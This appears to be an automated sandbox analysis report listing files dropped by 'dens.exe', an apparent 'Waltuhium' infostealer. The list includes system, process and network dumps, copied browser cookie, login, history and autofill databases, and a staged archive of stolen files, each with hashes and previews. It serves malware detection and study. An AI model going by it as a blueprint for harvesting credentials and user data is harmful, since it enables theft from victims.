File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2725
Entropy (8bit):	4.658114526716016
Encrypted:	false
SSDEEP:	48:LozmxDwemx5VcDKJMmx2VuDKJMmxhzxANLpzxAjVVpbjxA0ScpbjxAb:Lozmlwem/aDKMmAEDKMmfz0cdj7njU
MD5:	3F9D565B3E2542913E39FA9CB2994AC5
SHA1:	772CE9973E114A5FD24F6AFADA1C262016066F51
SHA-256:	8C2E3EC9B5B0AD9D8FC2BC89CC031F5156A5860F16AE05603A5FEA8F221543AE
SHA-512:	749FABE83DE42DFF1CC934084774E27FF35A874FE627D82052858F1ED7CBCABB396E3B3D0FE607E6F7D622E3D24871543BBCFFBD4EEC1F5F026D01460347244D
Malicious:	false
Preview:	----------------------https://t.me/waltuhium----------------------..======================================================================..ID : 1..URL : https://go.microsoft.com/fwlink/?linkid=851546..itle : Examples of Office product keys - Microsoft Support..Visit Count : 2..Last Visit Time 13340808471256388..====================================================================================..ID : 2..URL : https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016..itle : Examples of Office product keys - Microsoft Support..Visit Count : 2..Last Visit Time 13340808471256388..====================================================================================..ID : 3..URL : https://support.microsoft.com/en-us/office/7d48285b-20e8-4b9b-91ad-216e34163bad?wt.mc_id=enterpk2016&ui=en-us&rs=en-us&ad=us..itle : Examples of Office product keys - Microsoft Support..Visit Count : 2..Last Visit Time 13340808471256388..==========================================

C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0\Display (1).png

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	697826
Entropy (8bit):	7.929890901452363
Encrypted:	false
SSDEEP:	12288:mK8bnnYbyazGUjMWU3CV6jEefayPkOKjVT/v2RXefyZF410yzDGwsrzc06b2:m3nnYblaUrL0lcHZr2BeQF419XG7zcj2
MD5:	D85998E581146B096F9D38B2D2A9F3AB
SHA1:	1B430890888B2B494DF5B41642B445E706B1942E
SHA-256:	78114A3606A9B0C5593320068D6BAD16E158DF6CF6FBC3810F323246B381ED5F
SHA-512:	464124D1A5CBC6E6E268A61C821E3C7345F76421B9623E3C80C2644ADC594DDADFB872B775540F88E596CE16D1A312A6519D847D8A66F9463BD116A2AE45A8B0
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^....e....Y....3.g=..g.Zm...u....KR.IxWT....%@.".Y.....#..BBjdh..VA.A-S...V. .....9...F.{3o...n.....#.7.A~.qN.u./...\|....j.h.m.S_...).C.d.........:.~.p.(...*h.}M%..g....?.Z_}:C_..@..K....:...b.+1./?.f8..5Jk...b.h.TO.G.=.:r.xbL...h..x.....u.c.b.....C..}.#.b........R._\|./..._x`.>......HC...........[?....}p....0.h/.=..Y1.`.;....q[j.~kj.a.~K...;s\|..Z3d..U......=l......7g4....&6g.;..l.]W..]n..........n.Y..f.b9K-..K.;.JC;..;.Z;..}.v.{...\|.KoIs,g..3.Y..,....<.x..io.".>6d.-!.3v.1.....a<...m."....&6g.-i....}...l....67.....vx[.....m{]josm.c...]......;.....k.....m.u.}...^.[............c`...-.......^..^t...=.0..L.Glh..]..5ih.s.."._.X{...y?G.f..}]...kig/.5[...[o..3....J.[.u.OLy.8...E..[...om\|Yjove.kmzE.)W..Z..z.c...l......"...2.k..7l.b.......^7....{\`?k..mb...4w+..P..ojkk....g.{1.....<{.c.S..Q.,.a.!...h....y..B.g....^@.......u.....hS.mf..........y..

C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0\network_info.txt

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	250
Entropy (8bit):	4.251239015418792
Encrypted:	false
SSDEEP:	3:111T8BeQ/9GMAR43EN3VOvwHE96ZnXEUWor2x4EcatMWAqpmn:LsPLAXN3Dk96ZnXEn54deMWo
MD5:	251139F4BBD7C5BEDA219A90E4773BE6
SHA1:	5BBEDA313B658A75E934AD8720F2FBBDE9AD8048
SHA-256:	D78C776F14B19C2B8B29A2BC841ED374A2D737FDD8834F84B7FA92A62D453E94
SHA-512:	CC1D58212317266DEC8BFA931032372D2B957D84A6DB190AC7F178BEAF065F89F38229F0D4A78D07A7B3761840462C42D1628FD198B10D4E062969A1909DFD0C
Malicious:	true
Preview:	----------------------https://t.me/waltuhium----------------------..======================================================================..173.254.250.68..United States..Killeen..America/Chicago..QuadraNet OMGITSFAST AS8100 QuadraNet Enterprises LLC

C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0\process_info.txt

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	24246
Entropy (8bit):	4.6451838770544835
Encrypted:	false
SSDEEP:	384:I68QCP+Isv+ezjctgsYBH5FEogQj9xIxsgDCtleQha61+Q4nQQkLE0M2PQaFYDvr:DQoZqVWDU
MD5:	CCBE2E5EF0ED50B800ED53785C841235
SHA1:	C7BDA3A1D04DDED43379D2ECE75B052B39519255
SHA-256:	D4FA93F7828D7EAF3030A0EEEB5B253CC3751A4AB48E3C62752B73660F3C2D2E
SHA-512:	EE49B04627FD276D42A78C91005D1A763BB01D7DD0E67E38A8D09721DB709162ABE4BC4E00704413B1DA36F8E293C0F9F80F99138BB9AEA43667DE9B7D6C2256
Malicious:	true
Preview:	----------------------https://t.me/waltuhium----------------------..======================================================================.....Image Name: System Idle Process...PID: 0...Session Name: Services...Session#: 0...Mem Usage: 8 K......Image Name: System...PID: 4...Session Name: Services...Session#: 0...Mem Usage: 176 K......Image Name: Registry...PID: 92...Session Name: Services...Session#: 0...Mem Usage: 79'456 K......Image Name: smss.exe...PID: 324...Session Name: Services...Session#: 0...Mem Usage: 1'236 K......Image Name: csrss.exe...PID: 408...Session Name: Services...Session#: 0...Mem Usage: 5'296 K......Image Name: wininit.exe...PID: 484...Session Name: Services...Session#: 0...Mem Usage: 7'256 K......Image Name: csrss.exe...PID: 492...Session Name: Console...Session#: 1...Mem Usage: 6'012 K......Image Name: winlogon.exe...PID: 552...

C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0\system_info.txt

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	Algol 68 source, ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	142996
Entropy (8bit):	4.376230488046689
Encrypted:	false
SSDEEP:	1536:0Fz5+DlX7z8oiEmea91gbTvU2LaWJVQgDFIaLVk2vcE66drKwIRBFKdQT8RSayLW:0F1wE8
MD5:	B548D96559A283855A3C48991CFC3F73
SHA1:	A30C0EBAD0A6B2D125741E5369250EEA230CBB05
SHA-256:	8DD747047A9DF15624C0C6D52C3FAB541928F8A9DA74F776F3DF63402425259B
SHA-512:	1233EEC018B1B1E1BE71D5AF033EACFCE095B06865C729C2B6B0AB6B8D8A05269F98F30F806E093D6C630FD7D0B2FDFF2F1484AC2BDC778196E972286B1561AB
Malicious:	true
Preview:	----------------------https://t.me/waltuhium----------------------..======================================================================..####System Info#### ......Host Name: user-PC...OS Name: Microsoft Windows 10 Pro...OS Version: 10.0.19045 N/A Build 19045...OS Manufacturer: Microsoft Corporation...OS Configuration: Standalone Workstation...OS Build Type: Multiprocessor Free...Registered Owner: hardz...Registered Organization: ...Product ID: 00330-71388-77104-AAOEM...Original Install Date: 03/10/2023, 09:57:18...System Boot Time: 24/09/2023, 13:00:03...System Manufacturer: EOU1nWFnl8CywFm...System Model: HFlecuWU...System Type: x64-based PC...Processor(s): 2 Processor(s) Installed.... [01]: Intel64 Family 6 Model 143 Stepping 8 GenuineIntel ~2000 Mhz... [02]: Intel64

C:\Users\user\AppData\Local\Temp\9i18ksqy

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:qn:qn
MD5:	3F1D1D8D87177D3D8D897D7E421F84D6
SHA1:	DD082D742A5CB751290F1DB2BD519C286AA86D95
SHA-256:	F02285FB90ED8C81531FE78CF4E2ABB68A62BE73EE7D317623E2C3E3AEFDFFF2
SHA-512:	2AE2B3936F31756332CA7A4B877D18F3FCC50E41E9472B5CD45A70BEA82E29A0FA956EE6A9EE0E02F23D9DB56B41D19CB51D88AAC06E9C923A820A21023752A9
Malicious:	false
Preview:	blat

C:\Users\user\AppData\Local\Temp\AutofillData.db

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Cookies.db

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DownloadData.db

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\HistoryData.db

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Logins.db

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium.zip

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	79089
Entropy (8bit):	7.826035301403449
Encrypted:	false
SSDEEP:	1536:YG5/p/kbmg0DxtBGxBcw8e+Bs8Nt06GU8l/z175k/QtlbYlQV9MGFcEtjtQ1YMt8:n5/Jkbmg0DxqxOw8e+Bs8NwUA/z175kA
MD5:	2DE3905B3C79C3EDDF4364EF98AE364A
SHA1:	A0C16CD8FF717AB74FC4C9FA14CE3EED4A8E0577
SHA-256:	5384BA4B1F750731AAC59739E2EE136AC42F6114E6D6C2E7905CF790895DD4F1
SHA-512:	92726E6A1E9E015BD12DFBBF10272E216B61162BD8C453566DD4D814BAAB92D2744AAE82DDE18787700E0C6D06BF141A29449FD41778E6334E38B0968BA1BA12
Malicious:	false
Preview:	PK.........lY................DTBZGIOOSO/PK.........lY................Desktop/PK.........lY................Documents/PK.........lY................Downloads/PK.........lY................ONBQCLYSPU/PK.........lY................UMMBDNEQBN/PK.........lY................VLZDGUKUTZ/PK.........lY................XZXHAVGRAG/PK........Q@DW................Desktop/BPMLNOBVSB.jpg..I.E!.......8...N.?H.-.".Jt-.X....#......a....u...8z.)..R...'....?tD..d.5.%}..O;......yl..4...g..[.=V..Y.gJM....c..cb.EF......C;&.^R...p..<.rQ..R......Vz....\|....C.x.b.O..$\&..23Xj%...\]....BJ....).fh..\|.rD.<.8.d.....S4.eIg`.-.....~.Y.a&.........=..=6....S.hw...B.E.$v........iK..=../L..8...`....LK.X...'..X..7.....vy.q.6N[.\|f..v.O<.=:b...9e.o+..:y....3tL..{u.g.y..t..p"..a.Y.X...L...4=..FI.."..2....,.-.2Vm....^..1$..:.*..v......i...qk..#...<uWtD._....@.....p...6....\w?dw.10..l.>.Z........).c.h.D..8.r......F....u...;=...Lcj...q....u...+.}'...-..._....Y..m.......~_/...v&.5.;cB.r.u"

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\DTBZGIOOSO\DTBZGIOOSO.docx

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.705615236042988
Encrypted:	false
SSDEEP:	24:B65nSK3I37xD9qo21p9G7ILc3pkowOeuiyJRdt7fXzyxu3f7Lj8X2:B65SK3Xx1OXpkowOeMJR/fzeYX8X2
MD5:	159C7BA9D193731A3AAE589183A63B3F
SHA1:	81FDFC9C96C5B4F9C7730127B166B778092F114A
SHA-256:	1FD7067403DCC66C9C013C2F21001B91C2C6456762B05BDC5EDA2C9E7039F41D
SHA-512:	2BC7C0FCEB65E41380FE2E41AE8339D381C226D74C9B510512BD6D2BAFAEB7211FF489C270579804E9C36440F047B65AF1C315D6C20AC10E52147CE388ED858A
Malicious:	false
Preview:	DTBZGIOOSOGIXCBMGZZTWMBQXGHIBDIDBNCACFDFVBOXTDUUJMUMBAKZSHFEIWNQHEECYVTVTSOTORNQIPIDARMCQDPQAFMDPEUWMOYTBCDCAYVFJLXBCNSKBDWMSQYEQYRUTREAZDRNQIZYXPRJXUJXDYZYLJWOVPCEZSCSUSREYDMTRVOKIKSVPBPVQFMFFQNUDCCBDNGIIDGYMQHFPEMCFEOSEKVDEHVQZBXIBJURBZFVTYETURFSVIYLBMHJKBCAPGOAJJFKOTEXRMHREBNTBJGLLRAKZHXKTTSKEXODMEVVGUJOGNLYLFYGHQIBHAFRVYETMDPLEXBQXLVWYLIMFCJAKPFWSQSVSWYINAAOPMCAAVTIWDFRPKUBYLVKYRNUDCLWZJHLKSXWPDEXGEVUQVEJQWTUUYNTOIRLKQTXRWJHCSMGZWWPGPBFZQLOSDMHAPKSMVNNMIVJAORPRFUXPDROELZMLHAIBRVVWUMSDWFAHIBDVMGGFRISFYQZZSESXHMSUQCQPXBCPTAZBJXKKLRBWEZYGWRXBBTYWRRUXCBJIWCOYQKBQCGCZCPFVLGETTTZLEFZDQMQFHJVERUYLQUPVYRNXQJRLPUBWWQHPTYNORTRKKOMLWKAQZNHZQUJGTIYVIKGAWLHSALTZENHAAJKNKUBSQXDVFQRUFJLDFZAQUPCRNDOOEIALNCMGYLCEZSLPOPYEKIEYDRXSDONBFKQKQMAWBJULDADUHXOQGQLIDEPZRHMCBVTLCJUGOZRYCGXCXPEOJTGJORAEJKASXKARQEVOHMITSWHQEWOJXNOGSKWUQQTSOSWSCCMOUDMMHPYKEAJECJSGTBNPSFVWSGFBKGSKEHVLWONOMPOOJEJHDMKGRPCSBYWCZNHTWZCKQNEGEYABJZETYLVHROKZJAIGKJDHLJBRYOVDHNANLCJBHTDDRPXIXDIHNWDDQDHPSAKZRRXOFYYXZWQWZFESELWVMUIBHMCLVZP

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\DTBZGIOOSO\KATAXZVCPS.mp3

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699548026888946
Encrypted:	false
SSDEEP:	24:pjU7tPjIpNf9XSXm/5eskkSAjuenNF0hE6mHPISZMqEv:pjU7xIpfXSipuenT0hvYIV
MD5:	A0DC32426FC8BF469784A49B3D092ADC
SHA1:	0C0EEB9B226B1B19A509D9864F8ADC521BF18350
SHA-256:	A381579322A3055F468E57EA1980A523CAF16ABFE5A09B46EC709E854E67AA01
SHA-512:	DAF85E375438A2A6CC261D75D672A9C43E80E6CB1BC1EAA1BDB7B798CDE22AEFD5A04AC1D10E6F24CDBB7F9EA0452F5CA790969C750B764B4B7F9E0C5B2A0731
Malicious:	false
Preview:	KATAXZVCPSXDNCRGTIEAHLTBMQUFAYSWEMLQOMHMIKPDECBCOYPMSTTHHPDKZNGFGWCNUUGIGXPEBWCPRKDGBOWPSNMTFYIHVYITPQGJYFOAJMWVQDHVSMYHPXFGNOURBBIVVVMRPWBBLQXUCAXUFAYRSTCKWXAAMKJJZILVYZNBPSMXAGXZDASFVGKBTHNGETLQIHPRIVPIVHVCSRDUBEGENZMHSYQLROJPZILEYZIFDADQNRGHABZNQMPQMEVKVERETAQUHUXWKYTSUKUXMTSIPUXJRNZOLPGLRSFBCHYWGMRDPLBUIIFHFUNFWRALBUPZLDJUHIMNWKMISYIKAQGSLGBWBFUXASKUFXDTLJAXOSBBQTQJNJAVJQLQEFEKRWWXRJNJSWYQQKPEAVJRUZGKJUAZLPHMOTXLNXAZINYPNPZNGRMVYVCYPPHKTYJCBWNURXFTCITKLDRSFMIHFZHIDPGLOTHCQFZZEHIEXWNNZRJQLWYMVUHTXHFFDTYBHDRBRNTPLBXPVFCUVAJOYOWRENFUXTSCNCCQJOSITCFTGJHFQCYISKUAVSRYASWVJRDNOYYCSYOZWHRPNSBWMHUUEYUGOXVSYKLFZAUQJZDVBEBHHGXQHZVJWNUGLSAYWIEHAJCPIOHOPCXKNVRISBGUAEMSYEGNPQXITRIIMXOLIJYUBIEQGZQUAHRWMKQHCRHKBJZQQXFYTNBHEJEWRPZRXZCXRJQVIUOATJAEYDILREREDIWFEMISEKZWNCDTIPTTOZXOZJIYMGKYIKXBLURVWBJHYFJCLGVVIMADULTTVZIOEIPMVJAOPSQCDFMYPSPGLBIQXTWTUZERGBDTCIRRVRTNGENXXRTHESXQFUQSRGUQDQWGTGXTSGDYWIQVOKABAIAJIEUVYCZXNYVKPRREMYAVDFDHWOGEKALUPBHOHENIHLFJZAHVTJIQJBKXOYIOELCIIECJBPTTASBEKGOESRDFBACPOTNMRZOG

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\DTBZGIOOSO\ONBQCLYSPU.pdf

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	false
Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\DTBZGIOOSO\UMMBDNEQBN.png

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\DTBZGIOOSO\VLZDGUKUTZ.jpg

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
